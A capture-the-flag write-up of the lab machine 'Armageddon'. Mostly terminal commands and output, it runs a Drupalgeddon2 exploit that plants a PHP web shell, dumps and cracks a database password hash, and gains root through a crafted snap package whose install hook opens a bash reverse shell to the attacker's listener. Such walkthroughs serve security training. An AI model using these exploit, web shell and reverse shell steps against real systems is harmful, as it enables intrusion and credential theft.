Previous Page

nihilist - 09 / 08 / 2021

Armageddon Writeup

Introduction :



Armageddon is an easy Linux box released back in March 2021.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV 10.129.48.89

[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -vvv -p- 10.129.48.89 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.129.48.89
Discovered open port 22/tcp on 10.129.48.89

[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ nmap -sCV -p 22,80 10.129.48.89
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 14:39 CEST
Nmap scan report for 10.129.48.89
Host is up (0.46s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 so let's investigate it:

Just as like what we saw in our nmap scan results, this is a website running Drupal, and when we take a look at the page sourcecode we see get the confirmation that this is a Drupal 7 instance:

Now in order to exploit it we can use Drupalgeddon2


[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ git clone https://github.com/dreadlocked/Drupalgeddon2
Cloning into 'Drupalgeddon2'...
remote: Enumerating objects: 257, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 257 (delta 0), reused 0 (delta 0), pack-reused 253
Receiving objects: 100% (257/257), 102.12 KiB | 202.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.

[ 10.10.14.49/23 ] [ /dev/pts/3 ] [~/HTB/Armagueddon]
→ cd Drupalgeddon2

[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ls -l
total 44
-rwxr-xr-x 1 nothing nothing  7262 Aug  5 15:39 drupalgeddon2-customizable-beta.rb
-rwxr-xr-x 1 nothing nothing 22954 Aug  5 15:39 drupalgeddon2.rb
-rw-r--r-- 1 nothing nothing 11388 Aug  5 15:39 README.md

In order to run it we need the highline ruby gem:


[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ sudo gem install highline
[sudo] password for nothing:
Fetching highline-2.0.3.gem
Successfully installed highline-2.0.3
Parsing documentation for highline-2.0.3
Installing ri documentation for highline-2.0.3
Done installing documentation for highline after 2 seconds
1 gem installed

Once that's done we run it:


[ 10.10.14.49/23 ] [ /dev/pts/3 ] [HTB/Armagueddon/Drupalgeddon2]
→ ./drupalgeddon2.rb http://10.129.48.89
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.48.89/
--------------------------------------------------------------------------------
[+] Found  : http://10.129.48.89/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.56
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[!] Result : Clean URLs disabled (HTTP Response: 404)
[i] Isn't an issue for Drupal v7.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo UJNQTJEV
[+] Result : UJNQTJEV
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.129.48.89/shell.php)
[i] Response: HTTP 404 // Size: 5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake PHP shell:   curl 'http://10.129.48.89/shell.php' -d 'c=hostname'
armageddon.htb>>

And it looks like we have a shell! however we see that it's not easy to navigate the system with it because of how limited it is:


armageddon.htb>> ls -lash
total 288K
4.0K drwxr-xr-x.  9 apache apache 4.0K Aug  5 14:41 .
   0 drwxr-xr-x.  4 root   root     33 Dec  3  2020 ..
4.0K -rw-r--r--.  1 apache apache  317 Jun 21  2017 .editorconfig
4.0K -rw-r--r--.  1 apache apache  174 Jun 21  2017 .gitignore
8.0K -rw-r--r--.  1 apache apache 6.0K Jun 21  2017 .htaccess
112K -rw-r--r--.  1 apache apache 109K Jun 21  2017 CHANGELOG.txt
4.0K -rw-r--r--.  1 apache apache 1.5K Jun 21  2017 COPYRIGHT.txt
4.0K -rw-r--r--.  1 apache apache 1.7K Jun 21  2017 INSTALL.mysql.txt
4.0K -rw-r--r--.  1 apache apache 1.9K Jun 21  2017 INSTALL.pgsql.txt
4.0K -rw-r--r--.  1 apache apache 1.3K Jun 21  2017 INSTALL.sqlite.txt
 20K -rw-r--r--.  1 apache apache  18K Jun 21  2017 INSTALL.txt
 20K -rw-r--r--.  1 apache apache  18K Nov 16  2016 LICENSE.txt
 12K -rw-r--r--.  1 apache apache 8.6K Jun 21  2017 MAINTAINERS.txt
8.0K -rw-r--r--.  1 apache apache 5.3K Jun 21  2017 README.txt
 12K -rw-r--r--.  1 apache apache 9.9K Jun 21  2017 UPGRADE.txt
8.0K -rw-r--r--.  1 apache apache 6.5K Jun 21  2017 authorize.php
4.0K -rw-r--r--.  1 apache apache  720 Jun 21  2017 cron.php
4.0K drwxr-xr-x.  4 apache apache 4.0K Jun 21  2017 includes
4.0K -rw-r--r--.  1 apache apache  529 Jun 21  2017 index.php
4.0K -rw-r--r--.  1 apache apache  703 Jun 21  2017 install.php
4.0K drwxr-xr-x.  4 apache apache 4.0K Dec  4  2020 misc
4.0K drwxr-xr-x. 42 apache apache 4.0K Jun 21  2017 modules
   0 drwxr-xr-x.  5 apache apache   70 Jun 21  2017 profiles
4.0K -rw-r--r--.  1 apache apache 2.2K Jun 21  2017 robots.txt
   0 drwxr-xr-x.  2 apache apache  261 Jun 21  2017 scripts
4.0K -rw-r--r--.  1 apache apache   75 Aug  5 14:41 shell.php
   0 drwxr-xr-x.  4 apache apache   75 Jun 21  2017 sites
   0 drwxr-xr-x.  7 apache apache   94 Jun 21  2017 themes
 20K -rw-r--r--.  1 apache apache  20K Jun 21  2017 update.php
4.0K -rw-r--r--.  1 apache apache 2.2K Jun 21  2017 web.config
4.0K -rw-r--r--.  1 apache apache  417 Jun 21  2017 xmlrpc.php
armageddon.htb>> pwd
/var/www/html
armageddon.htb>> cd sites

armageddon.htb>> pwd
/var/www/html

armageddon.htb>> which cd
/usr/bin/cd

As you can see we can't use the cd command to change directories. But that's not an issue so we navigate to sites/default/settings.php


armageddon.htb>> cat sites/default/settings.php
<?php

[...]

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

[...]

?>

armageddon.htb>> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

now here we seem to have credentials for a mysql database, however the drupaluser doesn't appear in /etc/passwd, therefore we probably need to get password hashes from the database itself:


armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'
name    pass

brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

now here we have a password hash, so let's crack it with john:


[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ vim hash.txt

[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ cat hash.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (?)
1g 0:00:00:00 DONE (2021-08-09 11:30) 2.439g/s 585.3p/s 585.3c/s 585.3C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we have brucetherealadmin's password! Now let's try to login via SSH:


[ 10.10.14.34/23 ] [ /dev/pts/20 ] [~/HTB/Armageddon]
→ ssh brucetherealadmin@10.129.48.89
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ECDSA key fingerprint is SHA256:bC1R/FE5sI72ndY92lFyZQt4g1VJoSNKOeAkuuRr4Ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ECDSA) to the list of known hosts.
brucetherealadmin@10.129.48.89's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls -lash
total 16K
   0 drwx------. 2 brucetherealadmin brucetherealadmin  99 Dec 14  2020 .
   0 drwxr-xr-x. 3 root              root               31 Dec  3  2020 ..
   0 lrwxrwxrwx. 1 root              root                9 Dec 11  2020 .bash_history -> /dev/null
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin  18 Apr  1  2020 .bash_logout
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 193 Apr  1  2020 .bash_profile
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin 231 Apr  1  2020 .bashrc
4.0K -r--------. 1 brucetherealadmin brucetherealadmin  33 Aug  9 10:03 user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to login and get the user flag.

Part 3 : Getting Root Access



Now in order to get to the root flag. We first need to enumerate the box, to do so we can use linpeas.sh:


[terminal 1]
[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cp /home/nothing/HTB/Academy/linpeas.sh .

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

[terminal 2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/linpeas.sh > /tmp/peas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  333k  100  333k    0     0   120k      0  0:00:02  0:00:02 --:--:--  120k
[brucetherealadmin@armageddon ~]$ chmod +x /tmp/peas.sh
[brucetherealadmin@armageddon ~]$ /tmp/peas.sh

Let it run, and then when we check the output we see the following:

Looks like we are able to run snap as the root user without any password, therefore let's use the gtfobin for snap:


[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ sudo gem install fpm

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ COMMAND='bash -c "bash -i >& /dev/tcp/10.10.14.34/9001 0>&1"'

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [~/HTB/Armageddon]
→ cd $(mktemp -d)

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ mkdir meta/hooks/ -p

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ chmod +x meta/hooks/install

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ fpm -n privesc -s dir -t snap -a all meta
Created package {:path=>"privesc_1.0_all.snap"}

Now we upload the malicious privesc snap file to the machine and run it:


[term1]

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ ls -lash
total 16K
4.0K drwx------  3 nothing nothing 4.0K Aug  9 12:40 .
4.0K drwxrwxrwt 23 root    root    4.0K Aug  9 12:40 ..
4.0K drwxr-xr-x  3 nothing nothing 4.0K Aug  9 12:40 meta
4.0K -rw-r--r--  1 nothing nothing 4.0K Aug  9 12:40 privesc_1.0_all.snap

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ md5sum privesc_1.0_all.snap
1159d305989905e39a5f9a8e63ba35ed  privesc_1.0_all.snap

[ 10.10.14.34/23 ] [ /dev/pts/21 ] [/tmp/tmp.uYjIjYciPg]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

[term2]
[brucetherealadmin@armageddon ~]$ curl http://10.10.14.34:9090/privesc_1.0_all.snap > /tmp/privesc.snap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4096  100  4096    0     0   4446      0 --:--:-- --:--:-- --:--:--  4452
[brucetherealadmin@armageddon ~]$ md5sum /tmp/privesc.snap
1159d305989905e39a5f9a8e63ba35ed  /tmp/privesc.snap

both the file hashes match therefore the transfer was successful. Now let's run snap as the root user to make use of the snap package we created:


[term 1]

[brucetherealadmin@armageddon tmp]$ sudo snap install /tmp/privesc.snap --dangerous --devmode
Run install hook of "privesc" snap if present    

[term 2]

[ 10.10.14.34/23 ] [ /dev/pts/7 ] [/tmp/tmp.uYjIjYciPg]
→ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.48.89 57430
bash: cannot set terminal process group (18084): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
bash-4.3# cat /root/root.txt
cat /root/root.txt
34XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the root flag.

Conclusion



Here we can see the progress graph :